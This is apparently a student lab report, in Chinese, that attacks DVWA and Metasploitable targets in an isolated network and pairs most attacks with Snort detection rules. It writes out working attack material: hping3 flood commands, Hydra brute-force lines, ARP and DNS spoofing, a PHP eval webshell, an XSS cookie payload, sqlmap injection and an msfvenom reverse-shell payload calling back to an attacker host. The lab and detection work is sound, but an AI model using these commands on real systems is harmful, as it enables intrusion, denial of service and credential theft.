目录
1. 实验环境
1.1 网络拓扑
实验网络拓扑
1.2 重要工具
1.2.1 目标网站工具Dvwa
DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好的理解Web应用安全防范的过程。
DVWA一共包含十个模块分别是:
1.Bruce Force //暴力破解
2.Command Injection //命令注入
3.CSRF //跨站请求伪造
4.File Inclusion //文件包含
5.File Upload //文件上传漏洞
6.Insecure CAPTCHA //不安全的验证
7.SQL Injection //sql注入
8.SQL Injection(Blind) //sql注入(盲注)
9.XSS(Reflected) //反射型XSS
10.XSS(Stored) //存储型XSS
同时每个模块的代码都有4种安全等级:Low、Medium、High、Impossible。通过从低难度到高难度的测试并参考代码变化可帮助学习者更快的理解漏洞的原理。
简单地说,dvwa呈现给攻击者的就是一个网站,这个网站方便攻击者进行各种攻击。下图是dvwa主页。
靶机网站DVWA主界面
1.2.2 攻击检测工具Snort
Snort是一个跨平台、轻量级的网络入侵检测工具,从入侵检测的分类上看,Snort应当属于基于网络的误用检测。针对每一种入侵行为,都提炼出它的特征并按照规范写成规则,从而形成一个规则库,将捕获的数据包对照规则库逐一匹配,若匹配成功,则认为该入侵行为成立。下图是本实验的snort配置文件。
snort配置文件
1.2.3 漏洞扫描工具Nessus
Nessus是全球使用人数最多的系统漏洞扫描与分析软件。提供完整的电脑漏洞扫描服务, 并随时更新其漏洞数据库,可自行定义插件(Plug-in)。免费版只能扫描16个ip。下图是扫描结果实例。
nessus项目信息页
1.2.4 靶机系统Metasploitable
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。简单地说就是一个充满漏洞的linux系统。
1.2.5 渗透工具Msfconsole
msfconsole简称msf,是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。下图是打开msf并查找工具的实例。
mfsconsole
1.2.6 其他工具
端口扫描工具:nmap;
泛洪攻击工具:hping3、slowloris;
暴力破解工具:Hydra
Dns劫持工具:ettercap
Arp欺骗工具:arpspoof
WebShell工具:antsword(中国蚁剑)
Sql注入工具:sqlmap
木马生成工具:msfvenom
2. 攻击实验
2.1 信息探测
2.1.1 tcp半开放扫描
(1)工具:Nmap
(2)方法:nmap -sS –p- 192.168.47.133
(3)解释:获取远程主机的开放端口
-sS 表示使用tcp半开放扫描,-p-表示端口1到65535
(4)攻击效果:
tcp半开放扫描
(5)检测结果:
检测日志
(6)检测规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 705 (msg:"SNMP AgentX/tcp request"; flow:stateless; metadata:service snmp; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1421; rev:13;)
2.1.2 tcp FIN 扫描
(1)工具:Nmap
(2)方法:nmap –sF -f 192.168.47.133
(3)解释:利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭,收到RST回复说明该端口关闭,否则说明是open或filtered状态
(4)攻击效果:
tcp FIN扫描
2.1.3 Nessus扫描
(1)工具:Nessus
(2)方法:新建扫描项目,输入所有目标ip,保存,在my scans里启动。
nessus新建扫描项目
在项目列表页启动扫描
(3)解释:自动扫描端口、服务、漏洞。
(4)攻击效果:
扫描结果概览
脆弱性扫描结果详情
(5)检测结果:
检测日志
(6)检测规则
alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP public access udp"; flow:to_server; content:"public"; metadata:service snmp; reference:bugtraq,2112; reference:bugtraq,4088; reference:bugtraq,4089; reference:cve,1999-0517; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1411; rev:14;)
alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP request udp"; flow:to_server; metadata:service snmp; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1417; rev:13;)
2.2 DOS攻击
2.2.1 UDP Flood
(1)工具:hping3
(2)方法:hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.47.133
(3)解释:
-q 安静模式
-n 数字化输出,象征性输出主机地址
-a 伪造IP攻击
--udp UDP 模式
-s 53 表示源端口为53
--keep 保持源端口
-p 68 表示目的端口为68
--flood 表示尽最快发送数据包,不显示回复
(4)攻击效果:
udp flood
(5)检测结果:
检测日志
(6)检测规则:
alert udp any any -> $HOME_NET any (msg:"UDP Flood Attack"; flow:stateless; threshold: type both, track by_dst, count 1000, seconds 60; classtype:attempted-dos;priority:1; sid:7000001;rev:1;)
2.2.2 SYN Flood
(1)工具:hping3
(2)方法:hping3 -c 1000 -d 1200 -S -p 80 --flood --rand-source 192.168.47.133
(3)解释:
-c表示发送数据包的数目
-d 表示发送数据包大小,缺省是0。
-S 表示数据包的SYN 位为1
-p 80 表示目的端口为80
--flood 表示尽最快发送数据包,不显示回复
--rand-source 表示随机源ip
(4)攻击效果:
syn flood
(5)检测结果:
检测日志
(6)检测规则:
alert tcp $EXTERNAL_NET 10000: -> $HOME_NET 0:1023 (msg:"ET DOS Potential Tsunami SYN Flood Denial Of Service Attempt"; flags:S; flow:to_server; dsize:>900; threshold: type threshold, count 10, seconds 60, track by_dst; reference:url,security.radware.com/uploadedFiles/Resources_and_Content/Threat/TsunamiSYNFloodAttack.pdf; classtype:attempted-dos; sid:2019404; rev:3; metadata:created_at 2014_10_15, updated_at 2014_10_15;)
2.2.3 Slowloris http flood
(1)工具:Slowloris
(2)方法:slowloris 192.168.47.133
(3)解释:Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此:若是恶意地占用住这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。
(4)攻击效果:
http flood
(5)检测结果:
检测日志
(6)检测规则:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ETPRO DOS Slowloris HTTP Traffic Inbound"; content:"X-a|3a 20|"; threshold: type both, count 10, seconds 120, track by_dst;sid:7000002;classtype:attempted-dos;)
2.2.4 ICMP flood
(1)工具:HPing3
(2)方法:hping3 -d 1200 --icmp --flood -a 192.168.47.1331 192.168.47.133
(3)解释:--icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
(4)攻击效果:
icmp flood
(5)检测结果:
检测日志
(6)检测规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL ICMP Large ICMP Packet"; dsize:>800; reference:arachnids,246; classtype:bad-unknown; sid:2100499; rev:5; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
2.3 暴力破解
2.3.1 FTP暴力破解
(1)工具:Hydra
(2)方法:hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.47.133 ftp
(3)解释:hydra <参数> <IP地址> <服务名>
-L 表示登录用户
-P 表示所有尝试的密码
-o 输出结果
-t 并行运行任务的连接数
-vV 显示详细过程
(4)攻击效果:
fpt暴力破解
2.3.2 SSH暴力破解
(1)工具:Hydra
(2)方法:hydra -L user.txt -P passwd.txt -o ssh.txt -t 5 -vV 192.168.47.133 ssh
(3)解释:hydra <参数> <IP地址> <服务名>
-L 表示登录用户
-P 表示所有尝试的密码
-o 输出结果
-t 并行运行任务的连接数
-vV 显示详细过程
(4)攻击效果:
ssh暴力破解
(5)检测结果:
检测日志
(6)检测规则:
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"ET SCAN Potential SSH Scan"; flow:to_server; flags:S,12; threshold: type both, track by_src, count 5, seconds 120; reference:url,en.wikipedia.org/wiki/Brute_force_attack; reference:url,doc.emergingthreats.net/2001219; classtype:attempted-recon; sid:2001219; rev:20; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
2.4 局域网攻击
2.4.1 dns劫持
(1)工具:ettercap
(2)方法:修改ettercap配置,将目标主机要访问的地址劫持到本地
ettercap配置
编辑本机主页
执行ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /192.168.47.2// /192.168.47.133//
(3)解释:第一个ip是目标地址,第二个ip是局域网网关地址。当局域网里的目标主机访问某网站时,把它劫持到本机网站
(4)攻击效果:
dns劫持
靶机访问新浪,被劫持到了攻击者主页
(5)检测结果:
检测日志
(6)检测规则:
alert udp $HOME_NET 53 -> $EXTERNAL_NET any (msg:"DNS dns response for rfc1918 192.168/16 address detected"; flow:from_server; content:"|00 01 00 01|"; content:"|00 04 C0 A8|"; within:4; distance:4; fast_pattern; metadata:policy security-ips alert, service dns; reference:url,www.faqs.org/rfcs/rfc1918.html; classtype:policy-violation; sid:15935; rev:1;)
2.4.2 arp断网攻击
(1)工具:arpspoof
(2)方法:arpspoof -i eth0 -t 192.168.47.133 192.168.47.2
(3)解释:第一个ip是目标地址,第二个ip是局域网网关地址。通过伪造IP地址和MAC地址实现ARP欺骗。
(4)攻击效果:
arp断网
2.5 WebShell
2.5.1 php木马上传
(1)工具:一句话木马
(2)方法:构造php文件,内容:<?php @eval($_POST['pass']);?>
(3)解释:登录DVWA靶机的文件上传界面,利用网站的文件上传漏,上传“一句话木马”
(4)攻击效果:
攻击者在靶机网站,利用文件上传不检测格式的漏洞,上传木马
(5)检测结果:
检测日志
(6)检测规则:
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET WEB_SERVER PHP tags in HTTP POST"; content:"<?php";sid:2011768; metadata:created_at 2010_09_28, updated_at 2019_10_07;)
2.5.2 蚁剑webshell回连
(1)工具:AntSword
(2)方法:回连地址:http://192.168.47.133/dvwa/hackable/uploads/pass.php
密码:pass
(3)解释:使用蚁剑回连一句话木马,得到目标机器的webshell
(4)攻击效果:
蚁剑连接列表
通过蚁剑连接,可以远程登录靶机
2.6 应用层攻击
2.6.1 跨站脚本攻击(XSS)
(1)工具:
(2)方法:<script>alert(document.cookie);</script>
(3)解释:在dvwa靶机的XSS界面输入框输入此语句,相当于向页面中注入js语句,拿到cookie
(4)攻击效果:
注入js语句进行xss攻击
2.6.2 sql注入
(1)工具:sqlmap
(2)方法:
sqlmap -u "http://192.168.47.133/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=qce42r4jmrbp5dufmhmiuebvi6" --batch -D dvwa -T users --column
(3)解释:-u 注入点
-cookie 上一步通过xss拿到的cookie
-D 目标数据库
-T 目标表
--column展示所有列名
(4)攻击效果:
sqlmap注入成功,获取了表中的字段信息
2.7 msfvenom生成木马
(1)工具:msfvenom、msfconsole
(2)方法:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.47.130 LPORT=1234 -f elf > shell.elf #生成木马程序shell.elf,lhost是本地ip
开启msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
设置lhost、lport与第一步一致
输入exploit开始监听
msf启动监听
诱骗目标主机下载并执行木马程序,在攻击机上看到连接成功,输入help查看可进行的操作
连接成功
输入shell,获得目标主机的shell
(3)解释:使用木马开启后门,远程登录目标主机
(4)攻击效果:
输入shell,得到靶机的shell
2.8 Metasploitable靶机渗透
2.8.1 irc_3281_backdoor
(1)工具:msfconsole
(2)方法:search irc,找到对应得模块
在msf中检索模块
进入对应模块,查看配置 show options
查看配置
设置目标主机ip,进行exploit
进行渗透
(3)解释:利用irc特定版本存在的漏洞渗透目标主机
(4)攻击效果:拿到目标主机的shell
远程执行
2.8.2 vsftpd_234_backdoor
(1)工具:msfconsole
(2)方法:search vsftpd,找到对应得模块
查找模块
进入对应模块,查看配置 show options
查看配置
设置目标主机ip,进行exploit
渗透
(3)解释:利用vsftpd特定版本存在的漏洞渗透目标主机
(4)攻击效果:拿到目标主机的shell
远程执行
2.8.3 ingrelock_backdoor
(1)工具:msfconsole
(2)方法:利用telnet连接1524端口,直接返回root会话
telnet连接
(3)解释:利用ingrelock1524端口漏洞渗透目标主机
(4)攻击效果:拿到目标主机的shell
远程执行
2.8.4 distcc程序漏洞
(1)工具:msfconsole
(2)方法:search distcc,找到对应得模块
查找
进入对应模块,查看配置 show options
查看配置
设置目标主机ip,进行exploit
渗透
(3)解释:利用dsitcc程序漏洞渗透目标主机
(4)攻击效果:拿到目标主机的shell
远程执行
2.8.5 samba漏洞
(1)工具:msfconsole
(2)方法:search samba,找到对应得模块
查找
进入对应模块,查看配置 show options
查看配置
设置目标主机ip,进行exploit
渗透
(3)解释:利用samba特定版本存在的漏洞渗透目标主机
(4)攻击效果:拿到目标主机的shell
远程执行
2.8.6 Apache Tomcat弱口令
(1)工具:msfconsole
(2)方法:search tomcat,找到对应得模块
查找
进入对应模块,查看配置 show options
查看配置
设置目标主机ip,端口8180,进行exploit,获得用户名tomcat,密码tomcat。
破解
(3)解释:破解目标主机tomcat口令
(4)攻击效果:获得目标主机tomcat的用户名、密码
获得靶机tomcat用户名和密码